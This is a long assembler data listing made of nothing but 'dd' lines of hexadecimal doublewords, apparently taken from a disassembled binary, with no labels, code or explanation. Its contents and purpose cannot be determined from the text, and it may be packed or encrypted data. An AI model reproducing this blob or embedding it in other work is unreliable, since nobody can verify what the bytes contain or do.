		dd 0C86005Bh, 3064A2A5h, 33B05900h, 4B5ADF89h, 0B509705h
		dd 0B8609E30h, 50B97177h, 3DBDF0D3h, 267249ACh,	8EF0BFE0h
		dd 0AB816BA7h, 20361C97h, 6C00797Ch, 868FB1C6h,	1C5D24Eh
		dd 17DCA412h, 2D422962h, 48EAA270h, 7B25B88h, 14F38538h
		dd 243FD0B1h, 0C126736Bh, 7E80D851h, 0A0827D7Fh, 0C6F300B2h
		dd 0B75356DFh, 0EC0EC580h, 80E509FEh, 34DA8759h, 685E00B1h
		dd 3E41BA6Ch, 0F25DE6EBh, 769E1314h, 0AE40C85Fh, 0D0478BBEh
		dd 0B5C100E8h, 88D5505Eh, 420F7E54h, 642DD146h,	50C86235h
		dd 300805BCh, 1E5F1B8Dh, 68DC87A8h, 3B26B090h, 0D0990343h
		dd 0FA5CD100h, 2A55ADBh, 0E4AB0B85h, 20E11526h,	8713608Eh
		dd 3BF044EEh, 55A12803h, 0E70C7497h, 176D35F0h,	0BE531F83h
		dd 0C7AEC04Ch, 748C41EBh, 12095C91h, 91298344h,	0E013F34Dh
		dd 1765FA2h, 1F80C6BCh,	34A4FBACh, 50F0E4B8h, 0CC00D4B2h
		dd 78C2C90h, 12F8D76Fh,	8086C0F6h, 0EB1C9AD8h, 9BA8202Ch
		dd 95140139h, 2F78A81h,	513BC20h, 3C223780h, 92B40B5Ah
		dd 6917FC20h, 0A100476Ch, 491BE074h, 1224DB1h, 5B755CDFh
		dd 60B593A6h, 0D108EE04h, 42888F3h, 84DBF9AEh, 23ACC05Ch
		dd 0AB008B5Ch, 0FF976E01h, 2EF8A2Dh, 5ED97616h,	0A080E6C9h
		dd 6D2BECE1h, 0DB385904h, 0D0C0F2E7h, 16E3CAF0h, 1B44271h
		dd 0AA879F04h, 568381Ah, 9ED070D4h, 0C6FF0080h,	38600ADh
		dd 5AB111EDh, 4400C847h, 588087C5h, 28F93BD0h, 0F8A774h
		dd 250C29BDh, 998D574Eh, 6A043702h, 0E08F66EBh,	670768h
		dd 0E92AC1C2h, 0A45FBF2Bh, 0B359A800h, 73358846h, 2085006Ch
		dd 674A9E38h, 86F81257h, 0A075AC98h, 0E8E5E700h, 9699062Eh
		dd 0FA2100A1h, 8A83B6ACh, 357D707Ch, 39F1EE60h,	40F3E6D6h
		dd 3B0069FCh, 63835C04h, 0F8CAA5A1h, 7F151CD9h,	776F00ACh
		dd 7018988Eh, 0FDB7BD00h, 2648F2C7h, 92522424h,	0C02C58h
		dd 7BE8D14Ah, 2A003D11h, 19C8968Ah, 0E633C052h,	0BA7687h
		dd 0E6621AF3h, 46E37F5Eh, 0B322E700h, 0B85CDB9Eh, 4AC6003Ah
		dd 0E90F989h, 2300AFDEh, 0C6A42E5h, 4848C938h, 0C209D2A1h
		dd 910766A8h, 31CFA381h, 0A8600B7h, 4638EBA4h, 0FB180091h
		dd 90B4BE41h, 0A47A59FCh, 5C4F0B3Eh, 8880274Ch,	70051A24h
		dd 513AD600h, 7B9546E8h, 0BD6D0094h, 2A78E75Fh,	1C0EE296h
		dd 543171h, 3B20DA26h, 8A8B0299h, 839EDCC3h, 2160606Ah
		dd 700023Ch, 0B1124824h, 257D2AE9h, 7800A2C5h, 90C7B03h
		dd 0D700609Ah, 9346BB0Fh, 3B35DF5h, 7EDBE631h, 311E0BA8h
		dd 1382783Ah, 431D44F3h, 2319000Dh, 54A061Ah, 8900A1DFh
		dd 0EE446F93h, 767F8EACh, 3BFA006Eh, 505A39A8h,	0DA00A17Ch
		dd 3C3A0725h, 0F96B33h,	0ACD9B299h, 91226E36h, 10854437h
		dd 4CE197E0h, 8A661653h, 0E7FA0059h, 0EEE2D442h, 6DE57A07h
		dd 230BB24h, 4ACD8h, 39D0482Ah,	6C30BD8Bh, 99419A00h, 0DF6F6635h
		dd 8AF0AAh, 9533B73Ah, 910C386Eh, 3CC89Eh, 36E8EBF4h, 28F0D41Bh
		dd 1EA43470h, 0C1D231C6h, 0BCD8A56h, 0E87274h, 2275F7E0h
		dd 123E0E67h, 23E69611h, 18F8376Ch, 0F30301F1h,	10094AFFh
		dd 69BE8128h, 0E820B6DDh, 527C00D7h, 4188C71h, 9D44CDCFh
		dd 23423832h, 43D61A00h, 4619AB05h, 3800244Bh, 3B3C4082h
		dd 809A10h, 0E46E9635h,	56867942h, 18B249h, 7DEC8E74h
		dd 0FE315140h, 13DB0CA8h, 0C3219343h, 65F69B00h, 994C2EB3h
		dd 94072C67h, 0C86E0028h, 0DE298782h, 0E39A6B0Bh, 0A90CA04Bh
		dd 3E572Dh, 9DA85345h, 0ADC5F3F0h, 14484F00h, 15588834h
		dd 72A8C06Ah, 8337B765h, 7F69B300h, 275799EBh, 0CAB60214h
		dd 0A364921Ah, 0DF4979E8h, 5175AC0Eh, 8231603Ch, 585ADCA5h
		dd 0D3006879h, 746B0192h, 0E7246D81h, 0B5033ACBh, 83DB622Ah
		dd 60BF98D6h, 0D4C30F10h, 242063ACh, 23788942h,	8EE6970Eh
		dd 5FFDA0B6h, 7F1072h, 963D6F3Fh, 44940D6Dh, 3AFCEB52h
		dd 0B1D2C054h, 0B1A50094h, 7B08017h, 19920500h,	531E11FBh
		dd 0D4A04F2h, 0A0FA0A82h, 0DC5C23E4h, 0DFFC00D5h, 0C05692Bh
		dd 0CA010524h, 4151F85h, 8060C3FCh, 3A5270ACh, 0A6B5431Fh
		dd 0C93E0B40h, 3C9EA575h, 1E806813h, 389065E7h,	1826457Bh
		dd 32806CC0h, 0ACCB39F6h, 0E0070AFCh, 0B8D331h,	0A1930EF4h
		dd 8F0904BEh, 0FC351Dh,	0B3EEABB0h, 0A5FE3886h,	0A103825Ch
		dd 0E5176E4h, 0EED43800h, 1838B620h, 42DD00F9h,	1915DE3Bh
		dd 1100E7BAh, 9B1E83ABh, 0C089CBh, 3EA4C4AEh, 6347764Ah
		dd 523F2826h, 0B6001626h, 83DFC086h, 9BB103BEh,	3CF5D3DBh
		dd 0FA14FF8h, 4DD79F04h, 70874EE5h, 86180D0h, 5CE40963h
		dd 0D400D577h, 7B9A09E8h, 6471A000h, 4EB4FA05h,	522E009Bh
		dd 0D49E8CD9h, 11E8ED74h, 3064C130h, 3D14C818h,	0DD012C93h
		dd 0A25B8E9Fh, 0AC39CC57h, 0E900A7FCh, 6BE15D25h, 49B086Ah
		dd 0D2D3F010h, 0B7788099h, 3707A9F8h, 0E857F9C8h, 0A220CFE0h
		dd 0E31A0F34h, 0A7E7D49Dh, 60E6F08Ah, 87975B64h, 0F1677C37h
		dd 0AF81BD60h, 9D7FE92h, 0B354AA59h, 44993C40h,	698FF909h
		dd 34A8682Eh, 64A81CADh, 91FE823Dh, 0E4E814B6h,	69030AD1h
		dd 0CB536C59h, 5093C01h, 3067F71Fh, 88ABB641h, 8D184A78h
		dd 1A084975h, 79780737h, 0D0070F46h, 3157A0C0h,	3F7A9600h
		dd 0B4668914h, 0BF620F1Eh, 5F21D51Ah, 801D29E6h, 0FE791C2Ah
		dd 6974D58h, 9D8FAC71h,	7D3058F3h, 0A1119870h, 845C0038h
		dd 9E61F5EAh, 0EF00F99Ch, 0CB75E70Ch, 2DA614h, 38265EC8h
		dd 3DCA78D6h, 605C527Dh, 969D01F5h, 2417CDA0h, 60B68448h
		dd 8FC9C82Dh, 831F6975h, 3F0382D4h, 0A0C5BA60h,	764853h
		dd 0B8E8F97Bh, 955FBB0h, 8AEC2900h, 0B3B22320h,	56DD0066h
		dd 87424F60h, 0C67681F6h, 0B8DED200h, 8C6458A9h, 4CF4A8CBh
		dd 52CC0080h, 129F032Ah, 2604D26Ch, 0EB8BC5D3h,	65DFF681h
		dd 3020DC57h, 0F490F12h, 0F37D8F71h, 0B88C8E4Eh, 3800AC21h
		dd 0AEA0C312h, 4B6BAFD8h, 0BF3000C7h, 0FA792D9Ch, 0F5D7EF00h
		dd 64B3E8DDh, 385B0055h, 5EE414A7h, 5D008B2Eh, 0CBA8E7C0h
		dd 0A8956553h, 26D30FC0h, 0BC447E18h, 0BD98D50Fh, 0AB27A060h
		dd 0AF48B464h, 71C13720h, 0E7BC63F0h, 91D0090h,	0B5F59A70h
		dd 0BB00AFBFh, 63EEF15Eh, 3CDA88D0h, 5BB09CFCh,	974F3559h
		dd 84918DF2h, 2B10003Dh, 0CA136C3Dh, 4B523359h,	2100D508h
		dd 662B6792h, 2F02A53h,	8B1D5CFAh, 48034ABAh, 5B5DE808h
		dd 50C0FC68h, 1872ACC4h, 787E5CA8h, 0F460AE7Ch,	9CD796E0h
		dd 80F8DEA1h, 0C0708513h, 617B715Fh, 0B7C5F500h, 0C96B484h
		dd 4A2C0027h, 0BE2548DFh, 700ECB68h, 85F26381h,	81805BECh
		dd 1669512Fh, 0E728F9Ch, 0B98C8EDDh, 2CF83221h,	0E3826000h
		dd 0EB69861Eh, 0B0150102h, 0D45AA272h, 0F1288008h, 0B3298C70h
		dd 7597B3Bh, 2C7B74A5h,	6EE743A6h, 41AF2000h, 5C7F6CB3h
		dd 0BAA938B5h, 0FA954900h, 0C30F38A8h, 0FC877501h, 66F1595Ah
		dd 604A24F0h, 0A9D0618Dh, 0E704CE94h, 0FEB8FA7h, 0C2431BC7h
		dd 4D2000F8h, 8249B7Fh,	701E646Fh, 74C0BDFEh, 7CF70386h
		dd 68CA3CC8h, 1184D9E8h, 2F56808Ah, 43846946h, 18C228Eh
		dd 0C22C9933h, 0D8989BAAh, 0C1240F07h, 6700F484h, 0EE6ABB47h
		dd 0C3B40660h, 0C0877093h, 0A7124246h, 0B75A0594h, 75604C8Eh
		dd 0A5003321h, 4511B894h, 7E4CEh, 0E5E7C40Ch, 571460EDh
		dd 8990D950h, 0C0D10537h, 0C0F802C3h, 6A68D6h, 565C34B0h
		dd 77973F87h, 0B9D7E09h, 744D6A4h, 76B5242h, 584770C4h
		dd 0C20EE087h, 81249F26h, 0A9F72E1Ah, 34C08ACDh, 21F30F19h
		dd 31A0D790h, 0D14FA36Eh, 0B0001FFCh, 45ECDDE9h, 49F888h
		dd 0F489719Dh, 1C6265BCh, 7EF78C00h, 0A335791Bh, 1DCA0096h
		dd 0CB2146D4h, 0A500AF30h, 9ADB7BBAh, 1FBEC41Bh, 0C3B78CDEh
		dd 0F8A4CF0Eh, 32C980D7h, 58072766h, 905E11C3h,	68BA1071h
		dd 0BBDCCCh, 0C6F045B9h, 0BC77CD1h, 0B2020A00h,	0A0842D0Dh
		dd 9228C0B8h, 30F21237h, 8A45E8E9h, 61FD18C0h, 0AEB5C2h
		dd 8B0AC06Ch, 90C82199h, 0B79F3C00h, 3202B22Dh,	371D0169h
		dd 42B061Ah, 0CC3EF03Ah, 14657E00h, 12DE715Ch, 3DEC014Bh
		dd 1069D503h, 6FB4E091h, 6D0E7807h, 0F510E726h,	3F821A8h
		dd 0FD103A70h, 0CAC8B0C3h, 2D0013CCh, 1BA91C6h,	3E3981A1h
		dd 427BEC8Ah, 0B84B002Fh, 3161C5E2h, 2357180Fh,	0CD5E5028h
		dd 0ED751307h, 0AF60F593h, 0E29AE8Eh, 3E1D85C8h, 8C018DC0h
		dd 540182C1h, 74665813h, 2BF0B59Ah, 5F91003Eh, 571FF938h
		dd 0C8004880h, 30EB53D4h, 0E6E67h, 0CAB18DADh, 31F64C4Ah
		dd 0CB78BB00h, 9D2D693Eh, 0DBD40066h, 0DC6541Ch, 30007A3Fh
		dd 9785FE4Dh, 0FE224423h, 0C76A2h, 81EF2555h, 62A77815h
		dd 242BF71Fh, 48F4ED01h, 2CC46ED6h, 7C301E09h, 3DD0C30Bh
		dd 0C00045BCh, 0BE94CE2Bh, 0A1E85CCh, 0EC286AB3h, 27AB00A1h
		dd 0E7FFF080h, 480011ECh, 0DF550E1Ch, 30182628h, 0D568084Bh
		dd 23308F7Eh, 0F7F45154h, 0C0277315h, 1E6935D0h, 8B03DA14h
		dd 0C5BEA430h, 0D71BA0AEh, 9440F116h, 0E279C2h,	2325B9FEh
		dd 6FADA11Eh, 7D72C890h, 0F1AE5700h, 88BD7F94h,	0EF782E6Ah
		dd 3F4200A4h, 0FB5CD204h, 54332D27h, 96800C00h,	2670AE40h
		dd 82381231h, 588E1EEAh, 5F205C2Eh, 0A6704BB9h,	0BD41DA0Fh
		dd 1BAF6348h, 22C3A2h, 7B8DEB81h, 5F12B6B0h, 0BE64E100h
		dd 201C6AC7h, 0F8AB9847h, 6E29FE33h, 1EF1382Ah,	187801DBh
		dd 3B100DCCh, 28BC1CB5h, 76B980D2h, 8DE3F5BBh, 437AB600h
		dd 0ECC1C4D3h, 0A7FCC2h, 83E553A5h, 0CA6CD18Fh,	38F57000h
		dd 37BE2082h, 2E9F040Dh, 811E72D0h, 0E0309ACBh,	18C40C13h
		dd 15CC078h, 1F3A4B24h,	636896A1h, 23B9C500h, 0C3362DA2h
		dd 0C1D6AD18h, 0EE25B822h, 3A4A085Ch, 0F7840BCBh, 0CEC16CC6h
		dd 97E87F1Ch, 3CF30616h, 60453A7Ah, 685E8607h, 0E202473h
		dd 3AB8E45Ch, 0DE89264Ch, 0E18DCB77h, 0AB040A10h, 0A4A0DB8Fh
		dd 533EE4DCh, 0E5AC861Fh, 0B4AD280h, 48BECFh, 0DEF7FA72h
		dd 89B1A5F4h, 29747378h, 0DC9B7C07h, 2AC0E01Bh,	0E6563BDEh
		dd 0ECFEE5h, 9B6BDAC4h,	58988BDFh, 5731D4E9h, 0E4E2C200h
		dd 9C76C8AAh, 9BDCF9A5h, 0FCC51EAFh, 8DF4009Eh,	16B1B8C9h
		dd 64919229h, 0F612FB53h, 6CA40010h, 5F4507BFh,	25FA7374h
		dd 0BBA7E50Eh, 134DC082h, 0C84989Dh, 1B76F391h,	7245C828h
		dd 29881231h, 0A2BE9C77h, 111C4279h, 0BB11A1F2h, 0DC3D19EAh
		dd 14413079h, 3F12A2C4h, 945C2882h, 2271E422h, 0A325AF88h
		dd 3C05140Ah, 887D7808h, 794B73Eh, 8D431164h, 22148C28h
		dd 0B42A558h, 2890EB11h, 11223CA0h, 14CF50AAh, 0C9E664B0h
		dd 83E82154h, 1482F312h, 0A826E39Ch, 0D9C40051h, 0ABA1FFBFh
		dd 8000199Ah, 9CBCB901h, 2CD69596h, 4341F9h, 7C722349h
		dd 0D200FD29h, 435EACE8h, 63BE3Fh, 38A05728h, 0CEB9F5E4h
		dd 91002C76h, 726DA51Dh, 4C4ED6h, 0E07E9A6h, 2D09E166h
		dd 9944711Dh, 0AE708D03h, 629F878h, 82D03F0Fh, 0B18FA680h
		dd 593C32B7h, 14270824h, 0A1A89907h, 0D00E9280h, 516100EEh
		dd 6C818572h, 7B3DE287h, 94E30004h, 0B593637Ah,	0FCFC5808h
		dd 0D5620E7Eh, 0BCA0C99Dh, 98814B61h, 6B808B60h, 205EAB3Ch
		dd 0C5020CF2h, 0B382E223h, 9C3D00B0h, 0DB008F1Eh, 7E0F1874h
		dd 48AB9FBh, 364598FEh,	0B06890D7h, 0AE036C17h,	0F5E03342h
		dd 0BA61B1F9h, 0A890C4h, 0FC221047h, 0BE787921h, 0D507D4ECh
		dd 0FE1B340h, 136F71B0h, 459300DCh, 3AB4552Dh, 62032EECh
		dd 85BCFC36h, 6612B098h, 0E9D500ACh, 0F11BB6B7h, 0B6A05B97h
		dd 45003BCEh, 8E5CD632h
		dd 669F55h, 0C3C63475h,	0D83E1A20h, 5594100h, 0DE966082h
		dd 0E2BF00FCh, 0F780B587h, 54179C03h, 54F8134Eh, 57AFD907h
		dd 4908B115h, 2174F0ECh, 0EFE11C01h, 0BFAEBC6h,	5A86E0h
		dd 38C1A381h, 31224C84h, 5A1F8E2Ch, 0FB3B8501h,	81C010EEh
		dd 53F7004Ah, 3156A7BAh, 40E6D2C9h, 91086A00h, 73450BB8h
		dd 20BE38EAh, 0B6CF007Eh, 9378D8ACh, 99E2CD18h,	152E5907h
		dd 34607A6Ah, 1F676D5h,	11B3021Fh, 40D40AEAh, 0E4748AF0h
		dd 0E51D5000h, 5110DBAFh, 77D0007Eh, 4E808C17h,	0CB003EC3h
		dd 0DE332383h, 0EAC769h, 875826EEh, 2F88601Dh, 93F0F200h
		dd 3019ED6Bh, 7D3C0667h, 19411AE2h, 4B3D40Eh, 4578A0A3h
		dd 9A6F6E5h, 0B01CB2B9h, 3C0D7082h, 6007C44h, 5AF7BE09h
		dd 21F3EDh, 8763EC2Bh, 65F984C2h, 0B4E86700h, 4108129Dh
		dd 316400E9h, 0D8DB2CBBh, 860078C0h, 47DAF0D0h,	0AE8C33h
		dd 75A510E1h, 286F827Bh, 890177E6h, 0DB8B6CBEh,	0E1309C07h
		dd 53C2004Bh, 4EC679Ah,	0BF014057h, 86B03819h, 7850E161h
		dd 74D52FAh, 0D9D755F5h, 0F88E20C8h, 6C0F3A98h,	0E017F718h
		dd 1ADE025Bh, 9C951259h, 0E5C800EDh, 0C52C1E57h, 420B0900h
		dd 23D59472h, 0F4E00034h, 97B24E01h, 0C4007DE1h, 2E5DE3D3h
		dd 16AE8CEh, 0CD6C928Ah, 0D8813051h, 1B00FABEh,	3458B48Eh
		dd 0B91FC1h, 0A38FBAFCh, 146E99A1h, 0CC975707h,	8EE0C37Bh
		dd 14CF9FA0h, 0F41A3A6Fh, 0EB784203h, 579A4420h, 0E456B280h
		dd 8518FD88h, 10C8513Dh, 0DB333B83h, 0C0808BBFh, 0F8E29ED9h
		dd 5A759544h, 4074BF00h, 0C7426093h, 391E00E4h,	8EF31980h
		dd 300D0D3h, 4CFF3C3Dh,	3035186Bh, 31CACAFAh, 0E0009817h
		dd 0A6272E66h, 3D9BC17Eh, 3600A393h, 0F2EE80D0h, 0BD00F8B4h
		dd 7947515Ah, 9971EC0h,	85424B02h, 43942080h, 0F874CC9Dh
		dd 0E9DAE002h, 40C73F4Eh, 289F17h, 0FCC06C49h, 99ED310h
		dd 3B879700h, 0BF1E700Ah, 0D8AB00DEh, 19BD47BBh, 0BC005484h
		dd 0E6869C52h, 598C24h,	0D1EEC1C2h, 623EBFF6h, 7081D409h
		dd 28D40084h, 61A023h, 165EF192h, 0AE5D1AB2h, 0EA07CD7Ah
		dd 3951873Eh, 311F6320h, 0BBE500B9h, 1C08EB96h,	7400B124h
		dd 84F4368Eh, 269F5E7Eh, 1FD88F10h, 7A758133h, 0D4D1CC92h
		dd 2A00CE0Eh, 90EAE528h, 339488Dh, 37B661F0h, 0A2906816h
		dd 7800C27Ah, 3126BC76h, 24D63h, 17BF09A9h, 610B7286h
		dd 0BCBAB804h, 0B8C31649h, 2E09917Fh, 0F60034h,	65AA48F5h
		dd 621D4298h, 3A15AB00h, 0C535118Dh, 7A310FBBh,	9F80CC6Eh
		dd 1624B57h, 0E4B2190Eh, 1BEA011Dh, 0C1DC5BF9h,	56AA092Eh
		dd 0AD8071DBh, 0DF3CC79Dh, 293DCD03h, 0A197028Bh, 31D4E68Ch
		dd 0F72E00E5h, 0AC378115h, 0D80027ECh, 42C90D19h, 0E4E02921h
		dd 91EA1F4Fh, 0AAC141D0h, 0C8F7FF36h, 4300C8ECh, 0AF0923F2h
		dd 983FA2h, 0E9D26D99h,	0BB5432BCh, 0C73C9A7Eh,	4E6A805Ah
		dd 2C290EEAh, 8D4ED57h,	561D1207h, 0D701AE12h, 1FD5836Fh
		dd 0B0A434h, 72753EACh,	0DF4E0AA6h, 26570600h, 0F3232DC5h
		dd 9D7F00A5h, 835841Dh,	7A005FB1h, 763D2BE8h, 0F24DCA48h
		dd 2D71050Ah, 409CE621h, 17C233DCh, 0A501AB1Ch,	0FDC9F9CCh
		dd 0FC6028FAh, 0F1F441h, 9C1C4327h, 2D960E81h, 0DE8B931Eh
		dd 0D9AFD882h, 40EA429Fh, 16CD695Dh, 37EF3Ah, 0AED10220h
		dd 1700B13Fh, 8EDADBBAh, 5E122B0h, 9AF262EAh, 2A248046h
		dd 610F51B2h, 39854Ah, 0FC92076Bh, 213F001Eh, 0CD562E72h
		dd 743A5A79h, 393BF671h, 24CCF8h, 499EEEAEh, 0C145D2h
		dd 0B969F942h, 0AF74F6DAh, 9BA2B400h, 9CABDD1Ch, 380700C9h
		dd 33B8C1D2h, 0BC00DE32h, 73746C86h, 0F0C490h, 1AABF798h
		dd 0DF55ADE7h, 0E34F3F00h, 32B6C0D9h, 7040E0Dh,	0DD202231h
		dd 1FDE26C2h, 8985D500h, 0BCCBDB62h, 0B61E00F4h, 0AD094E17h
		dd 1B009A3Eh, 589B754h,	0B8F34831h, 2D420034h, 0A730F79Ch
		dd 0A1078CF5h, 1F2243C3h, 36DC2560h, 0ED6C3ADBh, 10FBAB80h
		dd 9D713312h, 0B237AC00h, 59837A28h, 20E93A38h,	0BC2FAD00h
		dd 9ABA7D2Ah, 0DEE65400h, 7480334Bh, 3B12006Eh,	0C6C12DB8h
		dd 189019DCh, 6BE18D07h, 0C573ED49h, 900DA8E7h,	0D8B10018h
		dd 4E66B304h, 0F51ED3D0h, 0D5809252h, 18677259h, 8A93A0BAh
		dd 32460183h, 0D08038E9h, 2010D925h, 0E6C01918h, 0DF5CF9B9h
		dd 685A0093h, 0E2C288E6h, 9A009BBAh, 0CFC77965h, 2692AC3h
		dd 813B139h, 70E0AD89h,	0F3E8FC91h, 0CC37707h, 4C23D7A4h
		dd 71B903B3h, 0CEED4F2Bh, 80B62CE9h, 8CAC8942h,	0E84668E0h
		dd 0E4C8249Ch, 6D010066h, 1B600E9Bh, 326F5C00h,	0B87D6E26h
		dd 41CD01C6h, 3E4CE479h, 0ADB88725h, 8A00EA21h,	0F603CBF0h
		dd 8D2D037Dh, 2ACA184Eh, 0B9CE69D8h, 21863603h,	0C0D19A01h
		dd 4C60C107h, 0A3079083h, 0E014C582h, 8ACCA45Dh, 987D5100h
		dd 73967A15h, 40090075h, 0A6C427D3h, 0B27207DFh, 0C7E5BF00h
		dd 643E2C69h, 1BF20E23h, 0B6070F86h, 0A02B8E2h,	2E14Bh
		dd 0E7244342h, 3C38F30Eh, 0C2CD0047h, 272C35Bh,	0FEDF1353h
		dd 0A4C1AC42h, 91E07F01h, 5904001Eh, 171D26D8h,	990CB153h
		dd 0B89F16D4h, 0B672154Ch, 9000D8CDh, 544A8F4Dh, 64248424h
		dd 0C4247537h, 9EF06100h, 0C8A872h, 0B1BCAAD3h,	11AF29CFh
		dd 0D12C1776h, 0E2AC1480h, 0E06D7200h, 0A4ADCCh, 817BE504h
		dd 1DF00FC9h, 0E8B50300h, 0CE9C841Ah, 4D8D0F0Ch, 0E5400DE4h
		dd 188C6DC2h, 0A7449800h, 547E38A4h, 0B2C900A2h, 869D17EFh
		dd 5601A5E1h, 58B9EEBBh, 25C5E750h, 3A975E4h, 0B34049A6h
		dd 808B760Bh, 0B1B870A3h, 18026F45h, 0AFF2506Ah, 72CA6091h
		dd 1BC7235h, 559C2B79h,	30EBF843h, 0C80057DFh, 0AA393691h
		dd 762630h, 0C56C505Ch,	0F7776023h, 87A0700h, 1CC9C7E0h
		dd 0E9601B2h, 0F6DFC820h, 29E820EAh, 0BDB10F00h, 9CC5930Ch
		dd 33D439C0h, 849AF51Dh, 81EACCECh, 60DF4600h, 3070553h
		dd 6ED2E550h, 85538C50h, 902500C6h, 0F93D37A1h,	980E367Bh
		dd 20AA2646h, 48FF7666h, 3FE871F5h, 0EC802F64h,	1F68FE0Fh
		dd 99003594h, 0DE986A34h, 58A048D1h, 414C7C41h,	50E2Eh
		dd 1D66297Fh, 0D4E07DE8h, 5ED2EB00h, 0C1439A6Eh, 8CF10031h
		dd 0B3185F33h, 1B1F92C2h, 94DC1950h, 65DB8DC7h,	0ED39F8F0h
		dd 6B2124BBh, 44C2050Fh, 15C0FE79h, 3863AB0Ch, 0B201C79Bh
		dd 0D904EDCBh, 93C74028h, 223CB637h, 980A0009h,	2ECED4D3h
		dd 0B76000BDh, 0D9967855h, 7301795Ah, 14A13A0Fh, 5F7067C9h
		dd 39710065h, 8F86E8D0h, 880FDA26h, 80F91382h, 2CAC7B81h
		dd 9BE207A0h, 603F209Dh, 66340310h, 0E31EF90Eh,	442CA0D2h
		dd 68D5BAAh, 0FA727B1Dh, 0CD4CD6D7h, 3B60C08Ch,	1389136h
		dd 9DF50B08h, 387B98A0h, 201C7A44h, 40F0DA56h, 2CAD5BB2h
		dd 0AA4A14h, 3E1B413Ah,	0D807A6DBh, 0F994CCD4h,	59E5CD17h
		dd 4640E000h, 7FCEDh, 0D4727837h, 6436B198h, 24148C00h
		dd 3CDD2E0Dh, 4CC10023h, 98E1EAAFh, 850E188Eh, 0C0B87B76h
		dd 6570ECF8h, 0C2870016h, 8A1D010Ch, 0DA028810h, 0B48C13A0h
		dd 0C0A4E0A8h, 47AC2C46h, 7AAD0045h, 0EA7FD49Bh, 0EE6B9F0Fh
		dd 0D801D6C2h, 8EBA0D26h, 0B2979840h, 39A3007Dh, 0DF4A2A02h
		dd 7C7A03A8h, 47450E03h, 0C17EB8B0h, 686D37D4h,	0A0D326h
		dd 24D183DBh, 2D008DFEh
		dd 0CF0E97EAh, 4548EA0h, 0A523713h, 2180BF1Dh, 909B14Dh
		dd 0B53D67B0h, 9D77B880h, 83E76F7h, 50D0AF94h, 900B0064h
		dd 0CAA29247h, 193B7720h, 0B77880BAh, 0CDC2C459h, 14470C2Ah
		dd 0AAC8282Bh, 4791A03h, 0E5CBEB71h, 0F30B9000h, 5E15E8h
		dd 0D40C848Ah, 859B424h, 94FF311Eh, 0C9369704h,	0F5D6081h
		dd 20EFC0EEh, 0EDF809DFh, 8000A6CFh, 0A7FD87C2h, 1A623A03h
		dd 0B0B32357h, 0B2A08Ah, 7E6B6320h, 78A6AD5Ch, 0E8746E00h
		dd 44A512Ch, 3B649022h,	29BE30BEh, 2403C63Fh, 9581E2C1h
		dd 0A33E2090h, 71E14000h, 62ABD633h, 0D75E00CDh, 0B7A54B2Fh
		dd 0B915A67Eh, 3B8FB89h, 1D43CCD8h, 9555E89Fh, 8A7800D4h
		dd 0A395ED1h, 0A4014A6Dh, 0C09B5472h, 1420B7E8h, 22020042h
		dd 7348BDCAh, 2F0E5D5Ah, 80E51F6Fh, 712BB0F2h, 0E24200A3h
		dd 99C0B80Dh, 380D0365h, 793C40DAh, 860200C2h, 4718DC7Fh
		dd 2618E96Fh, 90B900E7h, 45BD0FAEh, 49302A72h, 0E0D9A001h
		dd 8E171FD4h, 80B06477h, 8C84F53Ch, 5C003A66h, 6D362A48h
		dd 1412A3FCh, 0DC6E977Bh, 93910D01h, 9D6CCCB1h,	0AB4F3710h
		dd 5D244110h, 0BE70C050h, 0FC3E507Ch, 406F0FE5h, 1260996Ah
		dd 0AC4E9C55h, 0BF458h,	5836C708h, 0F4705127h, 10A0050h
		dd 63950C7Eh, 4118EF64h, 0C2485A25h, 4E1D0476h,	0E1B7BEC7h
		dd 7FC5FC4Ch, 3125D91Dh, 4D584480h, 2F46913h, 76ADE655h
		dd 8480BE20h, 0E464E990h, 9E0CA200h, 155CD5F6h,	0F5C0C017h
		dd 948E3529h, 7CBE7A00h, 975762C9h, 9CB031h, 0E87F19A8h
		dd 0B99ECFE3h, 0EE874300h, 5D1A79EAh, 4BB4A8DAh, 3C070063h
		dd 3F845B8Eh, 7560AB56h, 6FC78CB0h, 69872CB2h, 167E00E8h
		dd 0C229B6D2h, 140E02Dh, 0AB89AC9Ch, 23A1C34h, 80DDCE2Fh
		dd 0BC5801B5h, 17E7EB0Ch, 0EAAF9C3h, 4CAB0FE1h,	91F26980h
		dd 0C0025608h, 1DA3643Ch, 270840D6h, 60777285h,	0C3FB5958h
		dd 9D00F0AFh, 0ADFFC13Bh, 2302B55h, 7F5AED5Bh, 28489CA1h
		dd 5D4CD5EEh, 2BAB05A4h, 0D4000906h, 0AC67A452h, 0EDC8C36Bh
		dd 680089C8h, 5081301Ch, 77CD4D2h, 3CD0365Eh, 309C7728h
		dd 0AD687E51h, 56818A00h, 60E687EBh, 6D2B00DDh,	0FF51A8F0h
		dd 57015D03h, 87C39ACBh, 2F6069D6h, 0DFF41CC0h,	0CA1258CFh
		dd 9701ABC6h, 3FF9A527h, 7824DBB8h, 0AD6C018Dh,	293B9F04h
		dd 0BC50CA28h, 0EF810F02h, 60C7AE54h, 1FEAA18Bh, 7B7A32D6h
		dd 27672A80h, 1064B1EFh, 3372BB90h, 71B97300h, 30A2D895h
		dd 0CE7D0E35h, 77601441h, 0EB59DEBEh, 0AC639B00h, 1F5FFB1h
		dd 0D38E01CDh, 0A8021268h, 720E87A0h, 99707EF0h, 0D680ECh
		dd 0BDD4A46Ah, 60B21F3Ah, 4D1C0401h, 7AA3E62h, 34AB9F4h
		dd 960228C3h, 56E82AE9h, 9C00D681h, 165E6A24h, 0D7AE63h
		dd 0DC0EF4AFh, 0EEDE8D6Bh, 336CF803h, 0D047125Dh, 0B122F0h
		dd 218A5C2h, 0B44324Bh,	0A7BC3700h, 0ACF81D20h,	0CC90C0D2h
		dd 1B4C0114h, 4DB639h, 0D8BF2749h, 3BDD8491h, 0E1858B99h
		dd 397F214h, 0E7A241A3h, 0F05366B1h, 30FB0ECh, 40346545h
		dd 0EA8994E3h, 0C5C402A9h, 0CF382724h, 96FB3543h, 0BB406000h
		dd 0A80FE8FAh, 3A500C8h, 0F115FCF4h, 717E1108h,	5BF1901h
		dd 77597C48h, 0F0D73B61h, 0F395E5h, 0DD7D919Eh,	0EE637B1Bh
		dd 7A532E00h, 8A2BE36Fh, 0DC980085h, 0CDD13743h, 0B700120Fh
		dd 1CBBDFAFh, 0F4E56255h, 67C704E9h, 8A6C3036h,	93C58C4h
		dd 27B93E18h, 82409EB4h, 1E27F2h, 0F3E6D780h, 0CDD2CF41h
		dd 93DC0805h, 980EB7A8h, 0DEF1C09Eh, 0EA93F7Ah,	282D556Ah
